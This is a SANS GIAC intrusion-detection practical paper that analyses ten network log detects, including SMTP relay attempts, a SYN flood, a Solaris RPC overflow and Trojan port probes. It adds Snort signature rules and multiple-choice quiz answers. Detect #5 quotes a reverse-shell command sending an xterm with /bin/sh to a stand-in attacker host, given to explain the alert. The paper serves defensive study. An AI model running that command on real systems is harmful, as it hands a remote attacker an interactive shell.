



Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Intrusion Detection In-Depth (Security 503)"
at <http://www.giac.org/registration/gcia>

Intrusion Detection Practical Analysis

Submitted by: Kevin Pietersma

Detect #1

```
Jun  4 00:04:26 s2-0.core2.corp.my.net 378091: Jun  4 07:04:25: %SEC-6-
IPACCESSLOGP: list officeLAN-out permitted tcp 209.xxx.yyy.31(60280) ->
209.aa.bb.50(6667), 1 packet
Jun  4 00:04:29 s4-0.core1.corp.my.net 151251: Jun  4 07:04:28: %SEC-6-
IPACCESSLOGP: list officeLAN-out denied tcp 192.xxx.yyy.236(59616) ->
209.aa.bb.242(25), 3 packets
Jun  4 00:04:35 s4-0.core1.corp.my.net 151252: Jun  4 07:04:34: %SEC-6-
IPACCESSLOGP: list officeLAN-out denied tcp 192.xxx.yyy.236(59665) ->
209.aa.bb.242(25), 3 packets
Jun  4 00:04:35 s2-0.core2.corp.my.net 378092: Jun  4 07:04:34: %SEC-6-
IPACCESSLOGP: list officeLAN-out permitted tcp 209.xxx.yyy.31(62342) ->
209.aa.bb.50(6667), 1 packet
Jun  4 00:04:46 s4-0.core1.corp.my.net 151255: Jun  4 07:04:45: %SEC-6-
IPACCESSLOGP: list officeLAN-out permitted udp 209.xxx.yyy.12(53) ->
209.mm.nnn.207(63645), 1 packet
Jun  4 00:05:02 s4-0.core1.corp.my.net 151256: Jun  4 07:05:01: %SEC-6-
IPACCESSLOGP: list officeLAN-out denied tcp 192.xxx.yyy.236(60279) ->
209.aa.bb.242(25), 1 packet
```

1. Source of Trace
 - a. Our network at head office
2. Detect was generated by:
 - a. Cisco ACL Logs
 - b. Explanation of fields:

```
Jun  4 00:04:29 [Timestamp] s4-0.core1.corp.my.net [sanitized hostname] 151251:
Jun  4 07:04:28: %SEC-6-IPACCESSLOGP: list officeLAN-out [router ACL
responsible for action] denied [action] tcp [transport protocol] 192.xxx.yyy.236(59616)
[sanitized source address and port] -> 209.aa.bb.242(25) [sanitized destination address and port],
3 packets
```

3. Probability the source address was spoofed.
 - a. Low. IP address is from a range of IP's assigned by us to our internal network.
4. Description of Attack
 - a. Attacker is trying to use SMTP relay through a machine not intended for that purpose
5. Attack Mechanism
 - a. Poorly configured SMTP daemons may allow email to be bounced though that machine which helps disguise it's origin
6. Correlations:
 - a. SPAM relaying is a common problem
7. Evidence of active targeting

- a. This attack was generated at this specific host as can be seen by the repeated attempts. This log snapshot only reveals a small number of the actual repeated attempts.
- 8. Severity
 - a. $(\text{critical} + \text{Lethal}) - (\text{System} + \text{Net Countermeasures}) = \text{Severity}$
 - b. $(5+1) - (4+5) = -3$
- 9. Defensive recommendations
 - a. Defenses are fine. Router ACL blocked attack.
 - b. Review SMTP configuration to assure external connections cannot relay
- 10. Multiple choice question:

This trace is best described as:

 - a) SMTP relay attempt
 - b) Network Mapping for SMTP
 - c) Port Scan
 - d) IMAP probe

Answer is a)

Detect #2

'SYNFlood' event detected by the RealSecure engine at 'IDShostname'.
Details:

```
Source Address: 0.0.0.0
Source Port: Any
Source MAC Address: 00:50:DB:0F:50:E2
Destination Address: 208.aa.bb.92
Destination Port: 3626
Destination MAC Address: 00:80:C8:F6:5E:E5
Time: Tue Jun 13 11:20:23 GMT 2000
Protocol: TCP (6)
Priority: high
Actions mask: 0x244
Event Specific Information:
  SPOOFEDSRC: 192.xxx.yyy.101
```

1. Source of Trace
 - a. A satellite network of our company
2. Detect was generated by:
 - a. RealSecure alert (email notification)
3. Probability the source address was spoofed
 - a. High. 0.0.0.0 is not a valid address and is common with probes.
4. Description of Attack
 - a. SYNflood. This is an attempt to surpass the pre-defined limit of a system to accept new TCP connections. Once the buffer has been filled with bogus requests for connections, legitimate connection requests cannot be processed.
5. Attack Mechanism
 - a. Attempt to perform a Denial of Service attack (DOS).
6. Correlations
 - a. This type of attack is well known.

- b. http://dev.whitehats.com/cgi/arachNIDS/Show?_id=ids252&sort=DEFAULT&search=synflood
- c. DDOS attacks use coordinated, directed SYN floods from multiple hosts aimed at the victim machine
- 7. Evidence of Active Targeting
 - a. This attack was generated at this specific host at a specific port.
- 8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (5+4) – (5+5) = -1
- 9. Defensive recommendation
 - a. There is little that can be done about DOS attacks except to track down the source. In this case it was a developers run-away script meant to poll a production server for monitoring purposes. This is not proper operating procedure to test against production servers and the developer was “reminded” of this.
 - b. Pinged the real IP and looked at the MAC address using the UNIX command `arp -a` to verify the source.
- 10. Multiple Choice Question:
This attack is:
 - a) Land Attack
 - b) Denial of Service
 - c) Bad coding
 - d) All of the above

Answer b)

Detect #3

```
[**] MISC-Attempted Sun RPC high port access [**]
06/14-02:12:37.798503 192.aa.bb.201:2718 -> 195.xxx.yyy.200:32771
TCP TTL:64 TOS:0x0 ID:1698 DF
**S***** Seq: 0x3525216B Ack: 0x0 Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 11861635 0 NOP WS: 0
```

```
[**] MISC-Attempted Sun RPC high port access [**]
06/14-02:12:38.218273 192.aa.bb.201:2737 -> 195.xxx.yyy.200:32771
TCP TTL:64 TOS:0x0 ID:1718 DF
**S***** Seq: 0x35585BBF Ack: 0x0 Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 11861677 0 NOP WS: 0
```

1. Source of Trace
 - a) Our network to a satellite network of our company
 - b) This was an authorized CyberCOP scan of another office
2. Detect was generated by:
 - a) Snort Intrusion Detection System
 - b) Explanation of fields;

[**] **MISC-Attempted Sun RPC high port access** [**] [Snort msg, as defined in snort rule which made the detect]

06/14-02:12:37.798503 [Time stamp] **192.aa.bb.201:2718** [Sanitized sourceip:port]
-> **195.xxx.yyy.200:32771** [Sanitized destinationip:port]

TCP [transport protocol] TTL:64 TOS:0x0 ID:1698 DF
S** [SYN Flag onlyset] Seq: 0x3525216B Ack: 0x0 Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 11861635 0 NOP WS: 0

3. Probability the source address was spoofed
 - a) Low. This attack was launched by me. The nature of the attack needs for the request to be answered, so the source address must be used.
4. Description of Attack
 - a) Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd).
 - b) nfs-showmount indicates a query to an NFS server to see a list of exports.
5. Attack Mechanism
 - a) CVE-1999-0003
 - b) nfs-showmount
6. Correlations (<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0003>)
 - a) NAI:NAI-29
 - b) CERT:CA-98.11.tooltalk
 - c) SGI:19981101-01-A
 - d) SGI:19981101-01-PX
 - e) XF:aix-ttdbserver
 - f) XF:tooltalk
 - g) BID:122.
7. Evidence of Active Targeting
 - a) This attack was generated at this specific host at a specific port.
8. Severity
 - a) (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b) (3+5) – (5+2) = +1
9. Defensive recommendation
 - a) Add following snort rules

```
alert tcp !$HOME_NET any -> $HOME_NET 32771 (msg:"MISC-Attempted Sun RPC high port access");
alert tcp !$HOME_NET any -> $HOME_NET 32771:34000 (msg:"IDS242 - RPC ttdbserv Solaris Overflow"; content: "|C0 22 3F FC
A2 02 20 09 C0 2C 7F FF E2 22 3F F4|"; flags: AP; dsize: >999;)
alert tcp !$HOME_NET any -> $HOME_NET 32771:34000 (msg:"IDS242 - CVE-1999-0003 - RPC ttdbserv Solaris Overflow";
flags: PA; dsize: ">999"; content: "|00 01 86 F3 00 00 00 01 00 00 00 0F 00 00 00 01|");
alert tcp !$HOME_NET any -> $HOME_NET 32771:34000 (msg:"IDS241 - CVE-1999-0003 - RPC ttdbserv Solaris Kill"; flags: PA;
content: "|00 01 86 F3 00 00 00 01 00 00 00 0F 00 00 00 01|";offset: "16"; depth: "32");
alert tcp !$HOME_NET any -> $HOME_NET 32771: (msg:"IDS26 - NFS Showmount"; flags:PA; content: "|00 01 86 A5 00 00 00
01 00 00 00 05 00 00 00 01|"; offset: "16"; depth: "32");
```

- b) The defense for this attack is sufficient as is. At no point did the target machine respond to the attempt. Blocked at their firewall.

10. Multiple Choice Question:

This attack is:

- a) FTP Bounce Attack
- b) Distributed Denial of Service
- c) Trin00
- d) rpc.ttdbserv solaris overflow

Answer d)

Detect #4

```
[**] MISC-WinGate-8080-Attempt [**]  
06/08-21:37:00.599378 207.78.247.53:65535 -> xxx.yyy.zzz.254:8080  
TCP TTL:246 TOS:0x0 ID:49783  
**S***** Seq: 0xC2770000 Ack: 0x0 Win: 0x200  
00 00 00 00 00 00 .....
```

1. Source of Trace
 - SANS GIAC (<http://www.sans.org/y2k/061100.htm> submitted by Matthew Beaverson)
2. Detect was generated by:
 - Snort Intrusion Detection System
3. Probability the source address was spoofed
 - Low. This is a probe, and like any probe, it needs to know its source to get the result.
4. Description of Attack
 - a. Possible Cisco PIX firewall manager (PFM) on Windows NT allows attackers to connect to port 8080 on the PFM server and retrieve any file whose name and location is known.
 - b. Possible Wingate proxy probe. A poorly configure web proxy can sanitize the source IP of an attack.
5. Attack Mechanism
 - a. Possibly CVE-1999-0158
6. Correlations
 - a. (<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0158>)
 - b. <http://www.cisco.com/warp/public/770/pixmgrfile-pub.shtml>
7. Evidence of Active Targeting
 - a. This was part of a larger scan “While they trolled most of a network, here's a Snort sample for one target host . . .”
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (3+2) – (3+3) = -1
 - c. The values used a completely arbitrary since I don't know the machine type or network topology.
9. Defensive recommendation
 - a. The defense for this attack appears to be sufficient as is. It is apparent that Matthew is well aware of these probes. His approach of “Perhaps it's time for a phone call?” would seem to indicate that he wasn't compromised. I think if he had been compromised I think his comments would have indicated that he had already called.
10. Multiple Choice Question:
 - What type of attack is this?
 - a. mstream
 - b. TNF
 - c. Web Proxy probe
 - d. SOCKS probe

Answer c)

Detect #5

```
[**] IDS126 - Outgoing Xterm [**]  
06/13-20:43:18.632311 195.aa.bb.120:6000 -> 192.xxx.yyy.201:3136  
TCP TTL:43 TOS:0x0 ID:30211 DF  
**S***A* Seq: 0x65A7A622 Ack: 0x5A3717DB Win: 0xED90  
TCP Options => MSS: 1460 NOP WS: 0 NOP NOP TS: 24017975 9885942
```

1. Source of Trace
 - a. Our network
2. Detect was generated by:
 - a. Snort Intrusion Detection System
3. Probability the source address was spoofed
 - a. Low. This is from a scan from our network to a remote network.
 - b. It is an attempt to connect, so the source address must be valid to complete the three-way handshake.
4. Description of Attack
 - a. An XTERM session was initiated sending the output to an external x-server. This is considered insecure traffic and is often a sign of compromise.
5. Attack Mechanism
 - a. arachnids IDSKEY IDS126
 - b. Very often intruders are able to compromise a host by sending a single command to the server at a time, through various techniques. A common trick to get an interactive shell is to send a command like "xterm -display attacker.example.com:0 -ut -e /bin/sh", which would cause the compromised host to send an xterm back to the attacker.
6. Correlations

(<http://dev.whitehats.com/IDS/126>)
7. Evidence of Active Targeting
 - a. This trace is a response (SYN/ACK flags set) from a direct exploit attempt
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (5+5) – (3+2) = +5
9. Defensive recommendation
 - a. The purpose of this scan was to determine the security posture of an acquired company. It appears that this response to an xterm request was granted... not good.
10. Multiple Choice Question:

Other than the SYN/ACK flags originating from port 6000, what else is of interest in this capture:

 - a. TTL
 - b. TCP Options
 - c. Window size

d. nothing
Answer b)

Detect #6

'IPDuplicate' event detected by the RealSecure engine at 'ids'.
Details:

Source Address: **192.xxx.yyy.248**
Source MAC Address: **00:00:5E:00:02:02**
Destination Address: **192.xxx.yyy.201**
Destination MAC Address: **00:50:04:7B:84:20**
Time: Fri Jun 09 16:43:38 GMT 2000
Protocol: **ARP**
Priority: high
Actions mask: 0x244
Event Specific Information:
MAC1: 00:60:CF:42:30:5E
MAC2: 00:00:5E:00:02:02

1. Source of Trace
 - a. A satellite network of our company
2. Detect was generated by:
 - a. RealSecure alert (email notification)
3. Probability the source address was spoofed
 - a. Medium. Either someone is spoofing their address or they have used an IP address already taken.
4. Description of Attack
 - a. There should only be one IP address associated with one MAC address
5. Attack Mechanism
 - a. Crafting a packet with a fake source IP.
 - b. Using an IP already in use.
6. Correlations
 - a. Source spoofing is common in many DOS attacks.
 - b. Since this IP is within the range of private non-routable addresses used in our local network scheme it's a good bet that some took an active IP.
7. Evidence of Active Targeting
 - a. There may be some evidence of active targeting but given the situation, it's very unlikely. A specific IP was chosen. This may have been a deliberate choice or accidental.
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (1+1) – (1+1) = 0
9. Defensive recommendation
 - a. Identify the machines involved.
 - b. Since both addresses were in the range of IP's that we allocate to users it took no time to pinpoint the offending visiting laptop.
 - c. Switched the laptop to use DHCP
10. Multiple Choice Question:
Why is arp important:

- a) Identifies machine type
- b) Denial of Service
- c) Provides routing
- d) Mapping of MAC address to IP address

Answer d)

Detect #7

Security Violations

=====

```
Jun 15 09:02:03 machine snort: IDS177/netbios-name-query:
192.xxx.yyy.38:137 -> 192.xxx.yyy.201:137
Jun 15 09:02:03 machine snort: IDS177/netbios-name-query:
192.xxx.yyy.201:137 -> 192.xxx.yyy.38:137
```

Unusual System Events

=====

```
Jun 15 09:02:03 machine snort: IDS177/netbios-name-query:
192.xxx.yyy.38:137 -> 192.xxx.yyy.201:137
Jun 15 09:02:03 machine snort: IDS177/netbios-name-query:
192.xxx.yyy.201:137 -> 192.xxx.yyy.38:137
```

1. Source of Trace
 - a. A satellite network of our company
2. Detect was generated by:
 - a. Psionic Logcheck of a Snort IDS detection
3. Probability the source address was spoofed
 - a. Low. Due to the fact that this was internal traffic on a private network and can be explained as "normal" NetBIOS traffic.
4. Description of Attack
 - a. Windows machines often exchange these queries as a part of the file sharing protocol to determine NetBIOS names when only IP addresses are known.
 - b. An attacker could use this same query to extract useful information such as workstation name, domain, and users currently logged in.
 - c. Possibly a pre-attack probe to gather NetBIOS name table information such as workstation name, domain, and a list of currently logged in users.
 - d. Possible denial of service in WINS with malformed data to port 137 (CVE-1999-0288)
 - e. Possible denial of service in Samba NetBIOS name service daemon (CVE-1999-0810)
 - f. Possible denial of service via a remote NetBIOS session request packet with a NULL source name (CVE Candidate CAN-2000-0347)
5. Attack Mechanism
 - a. Use the unix samba command "nmblookup -A "
 - b. RFPalyze.c
(<http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1163>)

6. Correlations
 - a. http://dev.whitehats.com/cgi/arachNIDS/Show?_id=ids177&sort=DEFAULT&search=IDS177
 - b. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0288>
 - c. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0810>
 - d. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0347>
7. Evidence of Active Targeting
 - a. Strong. The log shows a dialogue between the two machines.
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (1+4) – (3+1) = +1
9. Defensive recommendation
 - a. Ensure that users outside of our network are not permitted to access the NetBIOS name service. Ensure that our packet filters to drop externally sourced UDP traffic to port 137.
10. Multiple Choice Question:

Port 137 UDP shows what:

 - a) Machine type
 - b) NetBIOS
 - c) WINS
 - d) NetBus

Answer b)

Detect #8

Jun 11 12:14:26 fwall 15 **deny: TCP** from 216.77.216.125.4830 to fwall.1243 seq DA6B799, ack 0x0, win 23360, SYN
 Jun 11 12:14:30 fwall 15 **deny: TCP** from 216.77.216.125.1108 to fwall.5400 seq DA6C862, ack 0x0, win 23360, SYN
 Jun 11 12:14:35 fwall 15 **deny: TCP** from 216.77.216.125.1362 to fwall.21 seq DA6D8B6, ack 0x0, win 23360, SYN

1. Source of Trace
 - a. SANS GIAC (<http://www.sans.org/y2k/061600.htm> submitted by Drew Brunson)
2. Detect was generated by:
 - a. Syslog... but that's a guess. To be honest, I don't really know, but I can see what information is relevant.
3. Probability the source address was spoofed
 - a. Low. It appears to be a probe looking to connect to Sub Seven, Blade Runner, or Dolly Trojans.
 - b. Wants to negotiate the three-way handshake to talk to the Trojan.
 - c. No decoy addresses given.
4. Description of Attack
 - a. Probing for a Trojan by sending a SYN to see if the client is listening.

5. Attack Mechanism
 - a. A person can connect to the Trojan installed on the compromised machine if they are able to establish a connection. The default port is often probed to see if a machine has been compromised and has a particular Trojan installed.
6. Correlations
 - a. <http://www.doshelp.com/trojanports.htm>
 - b. <http://subseven.slak.org/main.html>
 - c. <http://www.come.to/soul4blade>
7. Evidence of Active Targeting
 - a. Strong. These are well known Trojan ports that are being probed on his firewall.
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (5+5) – (5+5) = 0
9. Defensive recommendation
 - a. It appears that his defenses are adequate since these were denied at the firewall and he was aware of the attempt.
10. Multiple Choice Question:

Which of the following is true;

 - a. Trojans are harmless
 - b. Trojans only affect UNIX machines
 - c. Trojans are person firewalls
 - d. Trojans usually have default ports

Answer: d)

Detect #9

```

Jun 19 09:20:00 192.xxx.yyy.133:2214 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:20:00 192.xxx.yyy.133:2213 -> 192.xxx.yyy.205:443 NOACK **SFRP*U
Jun 19 09:20:16 192.xxx.yyy.133:2215 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:20:18 192.xxx.yyy.133:2230 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:22:33 192.xxx.yyy.133:2268 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:22:33 192.xxx.yyy.133:2247 -> 192.xxx.yyy.205:443 UNKNOWN 21****A*
RESERVEDBITS
Jun 19 09:22:45 192.xxx.yyy.133:2269 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:22:50 192.xxx.yyy.133:2294 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 09:47:41 192.xxx.yyy.133:2565 -> 192.xxx.yyy.205:443 NOACK ***FRP**
Jun 19 09:47:43 192.xxx.yyy.133:2572 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 10:29:49 192.xxx.yyy.133:0 -> 192.xxx.yyy.205:3300 INVALIDACK
*1S*RPA* RESERVEDBITS
Jun 19 10:29:53 192.xxx.yyy.133:3309 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 10:30:07 192.xxx.yyy.133:3315 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 10:30:13 192.xxx.yyy.133:3322 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 10:30:19 192.xxx.yyy.133:3329 -> 192.xxx.yyy.205:443 SYN **S*****
Jun 19 10:30:25 192.xxx.yyy.133:3339 -> 192.xxx.yyy.205:443 SYN **S*****

```

1. Source of Trace
 - a. My network
2. Detect was generated by:
 - a. Portscan preprocessor module for Snort IDS
3. Probability the source address was spoofed
 - a. Low. It appears to be a probe and there is only one source IP (i.e. no decoys)
4. Description of Attack
 - a. Possible OS fingerprint attempt. (nmap, nesses, queso, CyberCOP, ISS System Scanner)
5. Attack Mechanism
 - a. Odd flags set to evoke a response from the TCP/IP stack which, when compared to known responses, can fingerprint the operating system of the probed machine.
6. Correlations
 - a. <http://www.insecure.org/nmap/nmap-fingerprinting-article.txt>
7. Evidence of Active Targeting
 - a. There is strong evidence of targeting since only one machine was scanned and port 443 was always (except once) targeted.
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (2+1) – (4+0) = -1
9. Defensive recommendation
 - a. The defenses are adequate since this is a probe and not an attack.
 - b. This was a scan performed inside our network. These machines are not accessible outside the firewall, to the general public.
 - c. I will be adding a “don’t scan your neighbour” clause into our acceptable use policy.
10. Multiple Choice Question:

What command line flag is used with nmap to perform OS fingerprinting;

 - a. -os
 - b. -P
 - c. -O
 - d. +O

Answer: c)

Detect #10

2000/06/11 11:40:02 PM GMT -0400: Dial-Up Adapter [0000][**No matching rule**]
 Blocking **incoming UDP**: src=208.171.48.234, dst=**64.228.226.158**, sport=3877,
 dport=**28431**

1. Source of Trace
 - a. SANS GIAC (<http://www.sans.org/y2k/061600.htm> submitted by Adam Richard)

2. Detect was generated by:
 - a. ConSeal PC firewall
3. Probability the source address was spoofed
 - a. Low. It appears to be a probe.
4. Description of Attack
 - a. This appears to be a UDP probe.
 - b. The purpose of this UDP port scan hasn't been determined yet.
5. Attack Mechanism
 - a. Unknown. This trace is still in the analysis phase.
 - b. This probe was detected by a Sympatico user. This may provide an indication that the probe is aimed at Windows users. Many home users use Windows and are usually very vulnerable.
6. Correlations
 - a. <http://www.sans.org/y2k/122899-1130.htm>
 - b. <http://www.sans.org/y2k/031700-1130.htm>
 - c. <http://www.sans.org/y2k/032700-2000.htm>
 - d. <http://www.sans.org/y2k/122899-1230.htm>
 - e. <http://www.securityfocus.com/templates/archive.pike?list=75&date=1999-12-29&msg=Pine.LNX.4.21.9912292101450.14130-100000@luchs.luchs.at>
 - f. <http://www.cert.org/y2k-info/y2k-status-20000103-10.html>
7. Evidence of Active Targeting
 - a. On this particular trace it can't definitively be determined if this was active targeting or part of a larger probe.
 - b. On one of the correlations there is a low and slow approach to the probe, indicating some degree of targeting (<http://www.sans.org/y2k/122899-1230.htm>).
8. Severity
 - a. (critical + Lethal) – (System + Net Countermeasures) = Severity
 - b. (5+1) – (5+5) = -4
9. Defensive recommendation
 - a. It appears that the defense is adequate.
 - b. His default policy of deny all [**No matching rule**] blocked and logged the attempt.
10. Multiple Choice Question:

Where are some good places to research unknown scans and ports;

 - a. <http://www.snort.org/Database/portsearch.asp>
 - b. <http://www.whitehats.com/>
 - c. <http://www.sans.org/>
 - d. All of the above

Answer: d)

Upcoming Training

Click Here to
{Get CERTIFIED!}



SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
SANSFIRE 2017 - SEC503: Intrusion Detection In-Depth	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
Baltimore Fall 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced